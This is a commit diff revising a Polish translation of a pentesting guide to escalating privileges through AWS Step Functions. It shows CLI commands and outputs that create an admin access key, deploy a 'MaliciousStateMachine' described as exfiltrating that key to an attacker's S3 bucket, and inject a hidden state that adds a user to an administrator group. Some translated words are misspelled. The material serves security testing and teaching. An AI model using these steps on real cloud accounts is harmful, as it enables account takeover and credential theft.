Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-26 01:03:11 +00:00
parent 1c9da53c65
commit a443da0fe5
@@ -4,32 +4,32 @@
## Step Functions
For more information about this AWS service, check:
Aby uzyskać więcej informacji o tej usłudze AWS, zobacz:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### Zasoby typu Task
### Zasoby Task
Te techniki eskalacji uprawnień będą wymagać użycia niektórych zasobów AWS Step Functions, aby wykonać pożądane działania eskalacji uprawnień.
Te privilege escalation techniques będą wymagały użycia niektórych zasobów Step Functions, aby wykonać żądane privilege escalation actions.
Aby sprawdzić wszystkie możliwe akcje, możesz wejść na swoje konto AWS, wybrać akcję, której chcesz użyć i zobaczyć parametry, których używa, jak na przykład:
Aby sprawdzić wszystkie możliwe akcje, możesz przejść do swojego konta AWS, wybrać akcję, którą chcesz użyć, i zobaczyć używane przez nią parametry, jak na przykład:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
Możesz też zajrzeć do dokumentacji API AWS i sprawdzić dokumentację każdej akcji:
Możesz też przeć do dokumentacji API AWS i sprawdzić dokumentację każdej akcji:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
Atakujący posiadający uprawnienia **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazać do niego dowolną rolę IAM bez tworzenia ani aktualizacji istniejącej maszyny stanów, co potencjalnie umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do rozległych nieautoryzowanych działań — od manipulowania przepływami pracy i modyfikowania danych, przez wycieki danych i manipulację zasobami, aż po eskalację uprawnień.
Atakujący posiadający uprawnienia **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazywmu dowolną rolę IAM bez tworzenia lub aktualizacji istniejącej state machine, co potencjalnie pozwala na nieautoryzowany dostęp do innych AWS services z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań — od manipulacji workflows i zmiany danych po wycieki danych, manipulację zasobami oraz privilege escalation.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Taka rola powinna mieć przypisaną dowolną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi wykonać akcję **`iam:CreateAccessKey`**:
Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi wykonać akcję **`iam:CreateAccessKey`**:
- **stateDefinition.json**:
```json
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
"status": "SUCCEEDED"
}
```
**Potencjalny wpływ**: Nieautoryzowane uruchamianie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
**Potencjalny wpływ**: Nieautoryzowane uruchamianie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
Atakujący posiadający **`states:CreateStateMachine`** i **`iam:PassRole`** będzie mógł utworzyć state machine i przypisać do niej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (**`states:TestState`** & **`iam:PassRole`**), ta nie wykonuje się sama — potrzebne są także uprawnienia **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standard workflows**, **tylko dla express state machines**) aby rozpocząć wykonanie state machine.
Atakujący posiadający uprawnienia **`states:CreateStateMachine`** i **`iam:PassRole`** będzie w stanie utworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (**`states:TestState`** & **`iam:PassRole`**), ta metoda nie wykonuje się sama — potrzebne będą również uprawnienia **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standard workflows**, **tylko dla express state machines**), aby uruchomić wykonanie maszyny stanów.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Poniższe przykłady pokazują, jak utworzyć state machine, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz do kontrolowanego przez atakującego S3 bucket, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Rola ta powinna mieć przypisaną politykę z wysokimi uprawnieniami (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala state machine wykonać akcje **`iam:CreateAccessKey`** oraz **`s3:putObject`**.
Następujące przykłady pokazują, jak utworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego bucketu S3, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów wykonać akcje **`iam:CreateAccessKey`** i **`s3:putObject`**.
- **stateMachineDefinition.json**:
```json
@@ -115,7 +115,7 @@ Poniższe przykłady pokazują, jak utworzyć state machine, która tworzy klucz
}
}
```
- **Polecenie** wykonane w celu **utworzenia maszyny stanów**:
- **Command** wykonany w celu **create the state machine**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Polecenie** wykonane w celu **rozpoczęcia wykonania** wcześniej utworzonej maszyny stanów:
- **Command** wykonane w celu **start an execution** wcześniej utworzonej state machine:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
> Bucket S3 kontrolowany przez atakującego powinien mieć uprawnienia do przyjmowania akcji s3:PutObject z konta ofiary.
> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
### `states:UpdateStateMachine` & (nie zawsze wymagane) `iam:PassRole`
Atakujący z uprawnieniem **`states:UpdateStateMachine`** będzie w stanie zmodyfikować definicję maszyny stanów, dodając ukryte stany, które mogą zakończyć się eskalacją uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, nowy złośliwy ukryty stan zostanie wykonany i eskalacja uprawnień powiedzie się.
Atakujący z uprawnieniem **`states:UpdateStateMachine`** może zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogą doprowadzić do eskalacji uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, ten nowy złośliwy, ukryty stan zostanie wykonany i eskalacja uprawnień zakończy się powodzeniem.
W zależności od tego, jak obszerne są uprawnienia IAM Role skojarzonej z maszyną stanów, atakujący napotka dwa przypadki:
W zależności od tego, jak szerokie uprawnienia ma przypisany do maszyny stanów IAM Role, atakujący napotka 2 sytuacje:
1. **Permissive IAM Role**: Jeśli IAM Role skojarzona z maszyną stanów ma już szerokie uprawnienia (np. ma dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie będzie wymagane do eskalacji uprawnień, ponieważ nie będzie konieczne aktualizowanie IAM Role — sama definicja maszyny stanów wystarczy.
2. **Not permissive IAM Role**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie maszyny stanów z permissive IAM Role oprócz modyfikacji definicji maszyny stanów.
1. **IAM Role o szerokich uprawnieniach**: Jeśli IAM Role powiązana z maszyną stanów już ma szerokie uprawnienia (np. ma dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie będzie wymagane do eskalacji uprawnień — wystarczy zmiana definicji maszyny stanów.
2. **IAM Role bez szerokich uprawnień**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie IAM Role o szerokich uprawnieniach z maszyną stanów oprócz modyfikacji definicji maszyny stanów.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Następujące przykłady pokazują, jak zmodyfikować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika `unprivilegedUser` do grupy IAM `administrator`. W ten sposób, kiedy uprawniony użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się powodzeniem.
Poniższe przykłady pokazują, jak zaktualizować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do IAM Group **`administrator`**. Dzięki temu, gdy prawowity użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień powiedzie się.
> [!WARNING]
> Jeżeli maszyna stanów nie ma powiązanej IAM Role o szerokich uprawnieniach, wymagane będzie również uprawnienie `iam:PassRole` do zaktualizowania IAM Role w celu przypisania IAM Role o szerokich uprawnieniach (na przykład takiej z dołączoną polityką `arn:aws:iam::aws:policy/AdministratorAccess`).
> Jeżeli maszyna stanów nie ma przypisanej roli IAM o szerokich uprawnieniach, konieczne będzie również uprawnienie **`iam:PassRole``**, aby zaktualizować rolę IAM w celu powiązania roli IAM o szerokich uprawnieniach (na przykład takiej z dołączoną polityką **`arn:aws:iam::aws:policy/AdministratorAccess`**).
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -218,7 +218,7 @@ Następujące przykłady pokazują, jak zmodyfikować prawidłową maszynę stan
{{#endtab }}
{{#endtabs }}
- **Polecenie** wykonane w celu **zaktualizowania** **legalnej maszyny stanów**:
- **Polecenie** wykonane w celu **zaktualizowania** **oryginalnej maszyny stanów**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa.
**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulowanie przepływami pracy oraz uzyskanie dostępu do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa.
{{#include ../../../../banners/hacktricks-training.md}}